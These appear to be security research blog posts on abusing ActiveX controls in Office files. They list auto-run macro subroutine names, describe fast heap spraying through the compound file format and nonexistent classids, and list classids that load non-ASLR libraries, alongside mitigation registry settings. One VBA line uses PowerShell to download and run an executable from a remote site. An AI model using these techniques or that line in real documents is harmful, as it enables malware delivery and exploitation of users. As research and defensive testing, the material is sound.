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A couple of months ago I encountered a malicious macro Word document and after analysing it, it was found to be using a new vector to execute the macro. I’m not sure if this method had ever been used before but it was using macros with an embedded ActiveX control object in the document.

Most malicious Word documents use the usual reserved names such as AutoOpen() and Document_Open() to automatically run macros. This document in question was using a subroutine name of InkPicture1_Painted() to execute code once the ActiveX control got enabled. This routine comes from an ActiveX control “Microsoft InkPicture Control” embedded in the document.

ActiveX Controls for malicious use
If we wanted to embed ActiveX control in a document it is pretty straightforward to do. Once the developer tab is enabled (File – Options – Customize Ribbon) go to the developer tab and Controls section on the ribbon. A huge list of controls is given which could be used to embed in the document.

Each control gives the option to add macros to its procedures

We can see below that there are dozens of procedures that could be used

After testing each ActiveX control object and all its procedures a large number of procedures were able to automatically run macros. Not all controls can be embedded into the document but majority can be and are listed in the table below.

ActiveX Control Subroutine name
Microsoft Forms 2.0 Frame Frame1_Layout
Microsoft Forms 2.0 MultiPage MultiPage1_Layout
Microsoft ImageComboBox Control, version 6.0 ImageCombo21_Change
Microsoft InkEdit Control InkEdit1_GotFocus
Microsoft InkPicture Control InkPicture1_Painted
InkPicture1_Painting
InkPicture1_Resize
System Monitor Control SystemMonitor1_GotFocus
SystemMonitor1_LostFocus
Microsoft Web Browser WebBrowser1_BeforeNavigate2
WebBrowser1_BeforeScriptExecute
WebBrowser1_DocumentComplete
WebBrowser1_DownloadBegin
WebBrowser1_DownloadComplete
WebBrowser1_FileDownload
WebBrowser1_NavigateComplete2
WebBrowser1_NavigateError
WebBrowser1_ProgressChange
WebBrowser1_PropertyChange
WebBrowser1_SetSecureLockIcon
WebBrowser1_StatusTextChange
WebBrowser1_TitleChange

The controls listed below when used with these subroutines names has an interesting behaviour in that moving the mouse on top of the embedded object triggers the macro.

ActiveX Control Subroutine name
Microsoft Forms 2.0 Frame Frame1_MouseMove
Microsoft Forms 2.0 MultiPage MultiPage1_MouseMove
Microsoft InkEdit Control InkEdit1_MouseMove
Microsoft InkPicture Control InkPicture1_MouseMove
InkPicture1_MouseHover
InkPicture1_MouseEnter
InkPicture1_MouseLeave
Microsoft Forms 2.0 CheckBox CheckBox1_MouseMove
Microsoft Forms 2.0 ComboBox ComboBox1_MouseMove
Microsoft Forms 2.0 CommandButton CommandButton1_MouseMove
Microsoft Forms 2.0 Image Image1_MouseMove
Microsoft Forms 2.0 Label Label1_MouseMove
Microsoft Forms 2.0 ListBox ListBox1_MouseMove
Microsoft Forms 2.0 OptionButton OptionButton1_MouseMove
Microsoft Forms 2.0 TabStrip TabStrip1_MouseMove
Microsoft Forms 2.0 TextBox TextBox1_MouseMove
Microsoft Forms 2.0 Toggle Button ToggleButton1_MouseMove
Microsoft ListView Control, version 6.0 ListView41_MouseMove
Microsoft ProgressBar Control, version 6.0 ProgressBar21_MouseMove
Microsoft Slider Control, version 6.0 Slider21_MouseMove
Microsoft StatusBar Control, version 6.0 StatusBar31_MouseMove
Microsoft TabStrip Control, version 6.0 TabStrip31_MouseMove
Microsoft Toolbar Control, version 6.0 Toolbar31_MouseMove
Microsoft TreeView Control, version 6.0 TreeView41_MouseMove
MSREdit Class AMSREdit1_MouseMove

There are more ActiveX controls not listed as those need some further action i.e. clicking on the embedded object to trigger the macro. Tested were carried out mainly using Word and Excel of Microsoft Office 2010 x64 on Windows 7.

User Awareness
Users hopefully should know by now that macros are dangerous so even if received they would be prompted by two warning prompts. The first is the usual “Protected View” warning when documents are received from the Internet.

After enabling editing then the usual macro prompt appears. At this point we hope the user would think before clicking

With macros being used with ActiveX controls we do not see the usual macro warning prompt but an ActiveX prompt so users might fall victim to clicking on it.

Mitigation
There are settings in Microsoft Office to disable ActiveX controls completely if necessary.

Using the registry settings

Disable all controls without notification

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000001

Prompt me before enabling UFI controls

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000004  (3 if Safe mode unticked)

Prompt me before enabling all controls with minimal restrictions

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000006  (5 if Safe mode unticked)

Enable all controls without restrictions and without prompting

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000002  (1 if Safe mode unticked)

Testing Threat Detection Appliances
You can download this zip file (password is “macros”) which contains three documents you can use to test your appliances to see how well they score.

document_open_messbox.docm – This document uses the normal reserved name Document_Open to automatically run macro.
inkedit1_gotfocus_messbox.docm – This document uses ActiveX “Microsoft InkEdit Control” to automatically run macro.
inkedit1_mousemove_messbox.docm – This document uses ActiveX “Microsoft InkEdit Control” to run macro by mouse movement on the page.

The macro contained in the document uses Powershell to download and execute messbox.exe from my site so should flag all three documents as malicious.

run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus)

It would be interesting to know which appliances flagged which documents as malicious so do tweet me or add a comment. Thanks all.

Recently I’ve been researching into ActiveX controls in Office documents as I had some ideas I wanted to test out after reading Dominic Wang’s paper “Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability” [1] and Haifei Li’s and Bing Sun’s presentation slides “Attacking Interoperability: An OLE Edition” [2].

Some vulnerabilities that have been exploited in the past (CVE-2013-3906, CVE-2015-2424, CVE-2015-1641) have been embedding ActiveX controls to perform the heap spray whether be in Open XML format or encapsulated in RTF format. During my tests it was obvious that spraying the heap just took ages, waiting sometimes minutes before triggering the vulnerability. The exploits I examined either used one large ActiveX1.bin file or multiple ActiveX[x].bin files. This post just shows how we can spray the heap in seconds rather than minutes, mainly working with MS Word documents on a fully patched Windows 7 32bit with Office Professional 2010 with Open XML formatted files.

Office Open XML structure
I started looking into an Open XML formatted document which is basically a zip archive so just by renaming the extension to a zip we can extract, make changes to the files and zip it up again.  Running the tree command in the extracted folder of a simple Word document we see the files listed below which contains one ActiveX object.

|   [Content_Types].xml
|
+---docProps
|       app.xml
|       core.xml
|
+---word
|   |   document.xml
|   |   fontTable.xml
|   |   settings.xml
|   |   styles.xml
|   |   stylesWithEffects.xml
|   |   webSettings.xml
|   |
|   +---activeX
|   |   |   activeX1.bin
|   |   |   activeX1.xml
|   |   |
|   |   \---_rels
|   |           activeX1.xml.rels
|   |
|   +---media
|   |       image1.wmf
|   |
|   +---theme
|   |       theme1.xml
|   |
|   \---_rels
|           document.xml.rels
|
\---_rels
        .rels

activeX1.bin is our Compound Document Format file which would contain our sprayed data and activeX1.xml would contain our classid to be used. When adding or removing ActiveX objects manually there are 5 files you’ll need to update

[Content_Types].xml   – contains entries pointing to individual activeX[x].xml entries
document.xml                – contains ids which refer activex[x].xml files set in document.xml.rels
document.xml.rels        – contains individual image[x].wmf and activeX[x].xml entries, unique rIds
activeX[x].xml               – Calls classIDs in each activeX[x].xml files
activeX[x].xml.rels       – Points to individual activeX[x].bin files
activeX[x].bin                – Compound File Binary Format

Here we could modify activeX[x].xml.rels to point to the same ActiveX1.bin compound document file as normally Office creates multiple unique activeX[x].bin files. This would reduce our total file size, save some seconds at spray time and just easy to manage.

Compound File Binary Format
Using Microsoft’s Office Visualization Tool (OffVis) we can deconstruct the compound document file activeX1.bin in order to understand its structure and values. The Microsoft specifications document [3] explains everything you need to know about the format.

A compound file is a structure for storing a file system, similar to a simplified FAT file system inside a single file, by dividing the single file into sectors. It is capable of storing data that is structured as storage and streams.

Viewing our activeX1.bin file which is this case the classid is instantiating Flash. Here in the OLESSDirectoryEntry[0] section we could null out the values of the clsidThis field as when the document is opened the classid is read from our ActiveX[x].xml file. Another entry we could null out is the ModifyTime field values. One important field is Object Type. This field MUST be 0x00, 0x01, 0x02, or 0x05, depending on the actual type of object.

Unknown or unallocated   0x00
Storage Object                     0x01
Stream Object                      0x02
Root Storage Object           0x05

Non-root directory entries are normally marked as either stream or storage elements. So leaving OLESSDirectoryEntry[0] entry alone as Type 5 the other directory entries OLESSDirectoryEntry[1] OLESSDirectoryEntry[2] and OLESSDirectoryEntry[3] we could be changed to Type 0. Once Type changed to 0 the Data entry in OffVis dissappears, also SizeLow field values can then also be nulled. The SizeLow and SizeHigh fields represent the stream size (8 bytes). This 64-bit integer field contains the size of the user-defined data, if this is a stream object. For a root storage object, this field contains the size of the mini stream.

The benefit of these changes is that we can remove any unwanted data at the end and just have an ActiveX1.bin file of only 2048 bytes. As for nulling out clsidThis and ModifyTime fields just removes any reference to the classid or time modified. If we wanted to say encapsulate our sprayed data we could change the Type object value to 2 and SizeLow value as you can see below but not really necessary so no need to complicate stuff. when it comes to the spraying our data I noticed all we need to do is just append our sprayed data to our 2048 bytes compound file without making any further changes. This is enough to load it in memory.

Class IDs to use
Now the question comes to what classIDs do we use for our heap spray? ClassIDs are set in the ActiveX[x].xml files where then the associated libraries loads. After experimenting with different classids I realised any classID could be used, depending on what classID is being called affects the performance drastically.

For example exploits CVE-2013-3906 or CVE-2015-1641 used classID {1EFB6596-857C-11D1-B16A-00C0F0283628} (MSComctlLib.TabStrip.2).  This refers to library C:\Windows\system32\MSCOMCTL.OCX which is 1,070,232 bytes in size. This library is huge so the amount of time to spray accumulates on how many chunks being sprayed. So if I used a classID which referred to a library of a small file size the spray time reduced drastically. Taking it a step further, it was discovered that using a non-existing classID could be used such as {00000000-0000-0000-0000-000000000001}. Since this classID does not exist on the system there would be no referring library to load so in theory would further reduce the spray time. During tests this proved to be the case and heap spraying was successful and the time was further reduced.

The activeX[x].xml file would normally look like this

<?xml version='1.0' encoding='UTF-8' standalone='no'?>
<ax:ocx ax:classid='{00000000-0000-0000-0000-000000000001}'
ax:persistence='persistStorage' r:id='rId1'
xmlns:ax='http://schemas.microsoft.com/office/2006/activeX'
xmlns:r='http://schemas.openxmlformats.org/officeDocument/2006/relationships'/>

Heap Spraying times
To get an idea of what kind of times we are dealing with, MetaSploit’s TIFF Integer Overflow exploit [4] was used which uses ActiveX to spray the heap with 591 chunks using the classid {1EFB6596-857C-11D1-B16A-00C0F0283628} referring to MSCOMCTL.OCX library. To spray the heap it took around 1 minute 10 seconds. Now replacing the classid with {00000000-0000-0000-0000-000000000001} it took only around 6 seconds which is a huge difference.

The table below shows the times it takes to spray, memory addresses sprayed upto and memory allocated based on the number of chunks. These figures will vary but it just gives you an idea.

The size of the activeX1.bin file used on Office 2010 32bit was 514KB which takes a chunk size of 0x81000 (528384 bytes) in memory.

526,336 bytes = 2048 (header) + 1024 (block size) * 512 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x16450000 300 mb
1000 10 seconds 0x28DD0000 575 mb
2000 20 seconds 0x4D3A0000 1.1 gb
4000 * 58 seconds 0x7FEB0000 2 gb

* This high number of chunks might not work and document will not properly open.

The size of the activeX1.bin file used on Office 2010 64bit was 1026KB which takes a chunk size of 0x101000 (1052672 bytes) in memory.

1,050,624 bytes = 2048 (header) + 1024 (block size) * 1024 (no. of blocks)

Chunks Time to spray Memory spray to Memory allocated
500 5 seconds 0x0000000027dc0000 583 mb
1000 12 seconds 0x000000004a2f0000 1.1 gb
2000 27 seconds 0x000000008f450000 2.1 gb
4000 120 seconds 0x0000000117910000 4 gb

Memory allocated on Windows 7 32bit with Office 2010 32bit

Memory allocated on Windows 7 64bit with Office 2010 64bit

Mitigation
Spraying the heap using classids that do not exist on the system prevents a number of mitigations. So disabling ActiveX controls in Microsoft Office via the Trust Center settings or via Office kill bit in the registry are ineffective. Only using Microsoft EMET’s heap spray mitigation would provide some protection.

Summary
To get the fastest spray possible the main points to take away is

1. Use one ActiveX1.bin compound document file
2. Use a smaller ActiveX1.bin file with more xmls calling it
3. Use a classID that doesn’t exist on the system

All my Word document spray files and perl scripts you can download from here. When creating your own documents with the scripts just extract a existing document and overwrite with the files created by the scripts.

References
[1] https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives
[2] https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf [PDF]
[3] https://msdn.microsoft.com/en-gb/library/dd942138.aspx
[4] https://www.rapid7.com/db/modules/exploit/windows/fileformat/mswin_tiff_overflow

This is just a short post highlighting how easily ASLR could be bypassed by instantiating ActiveX controls using certain classids in Microsoft Office. I’ve mainly tested with MS Word on an updated Windows 7 32bit with Office 2010 32bit but other applications such as Excel and PowerPoint should work too.

All these classids listed in the below table give security warning prompt but the library will still load before any action is taken.

Library sqlceca35.dll comes with Microsoft SQL Server Compact which is an embedded database that gets installed by Microsoft Office. I’ve seen some systems with version 4.0 installed where sqlceca40.dll has its dynamic bit set and thus gets ASLRed.

C:\Program Files\Microsoft SQL Server Compact Edition\v3.5\sqlceca35.dll
{20347534-760B-464D-B572-285E6B618257} SSCE.Error.3.5
{3018609E-CDBC-47E8-A255-809D46BAA319} SSCE.DropTableListner.3.5
{455C3E04-BFE9-4089-8622-F2464EC3FDDB} SSCE Active Sync Engine.3.5
{7C7E6C99-BB8D-4718-AAA9-70C4320010DE} SSCE.Params.3.5
{8CD1B98D-D8D5-4B51-9564-48B12A98698F} SSCE.RemoteDataAccess.3.5
{9E7E2CCE-3F1F-4891-892C-AC8B486D03B2} SSCE.Params.3.5
{9FD542D2-61C4-4E9F-A8E2-E6B8C7F64CBF} SSCE.Errors.3.5
{A9D3060D-3526-4538-B13A-1913568DAA0D} SSCE.Engine.3.5
{EA91E968-EF93-4FF1-86F3-75CC93416DF2} SSCE.Replication.3.5
C:\Program Files\Microsoft SQL Server Compact Edition\v3.5\sqlceoledb35.dll
{90A1998A-EB21-4F61-872F-F4DFDE1065D6} Microsoft.SQLSERVER.CE.OLEDB.
ErrorLookup.3.5
C:\Program Files\Common Files\System\Ole DB\XMLRW.dll
C:\Program Files\Common Files\System\Ole DB\XMLRWBIN.dll
{10154F28-4979-4166-B114-3E7A7926C747} MSOLAP.4
{867CD778-80D7-4f93-989E-B3E76A92FB42} MSOLAP100ErrorLookup.1
C:\Windows\system32\msvbvm60.dll
{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}
C:\Program Files\Common Files\Microsoft Shared\Help\msitss55.dll
C:\Program Files\Common Files\Microsoft Shared\TRANSLAT\FREN\MSB1FREN.DLL
C:\Program Files\Common Files\Microsoft Shared\Help\ITIRCL55.DLL
C:\Program Files\Common Files\Microsoft Shared\TRANSLAT\ESEN\MSB1ESEN.DLL
{5591379C-B467-4BCA-B647-A438712504B0} LR.LexRefTfFunctionProvider.1.0.1
C:\Program Files\Microsoft Sync Framework\v1.0\Runtime\x86\Synchronization.dll
{A7B3B4EE-925C-4D6C-B007-A4A6A0B09143}
C:\Program Files\Microsoft Sync Framework\v1.0\Runtime\x86\FeedSync.dll
{BC0CD90A-2C24-41BE-B6EC-87C15D919418}
C:\Program Files\Common Files\Microsoft Shared\VSTA\8.0\x86\VSTARemotingServer.dll
{60A896CA-1649-45BF-B63F-2E7312A968F0}
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualStudio.Tools.Applications.Blueprints\
8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualStudio.Tools.Applications.Blueprints.dll
{65C52C10-2286-420A-B35C-15CF7F9B5876} Microsoft.VisualStudio.Tools.Applications.
Blueprints.HostControl
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualStudio.Tools.Applications.DesignTime\
8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualStudio.Tools.Applications.DesignTime.dll
{9DA65B6A-813C-4592-9E8A-412C40BBC4B7} Microsoft.VisualStudio.Tools.Applications.
DesignTime.HostAdapter

Some are shown to get rebased as I loaded all libraries in one go but if loaded individually the address should not change.

Taking a look in Office 2010 64bit we still see some do not get ASLRed.

Disabling ActiveX controls in Microsoft Office
Disabling ActiveX controls can be configured via the Trust Center settings

File — Options — Trust Center — Trust Center Settings — ActiveX Settings

This will disable all controls so probably not a good idea in your environment

Disabling specific embedded ActiveX controls with Office kill bit
To enable the Office COM kill bit for a specific control to block a registry key would need to be added with the CLSID of the ActiveX control then add a DWORD value of 0x00000400 to the Compatibility Flags. The location for setting the Office 2010 COM kill bit in the registry is

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COM Compatibility

Microsoft EMET
Using EMET we can see all libraries get ASLRed.

Microsoft Office 2013
Finally in Office 2013 the classids that do exist, the libraries that do load have already got there dynamic bit set and get ASLRed

All the documents with these classids can be downloaded from here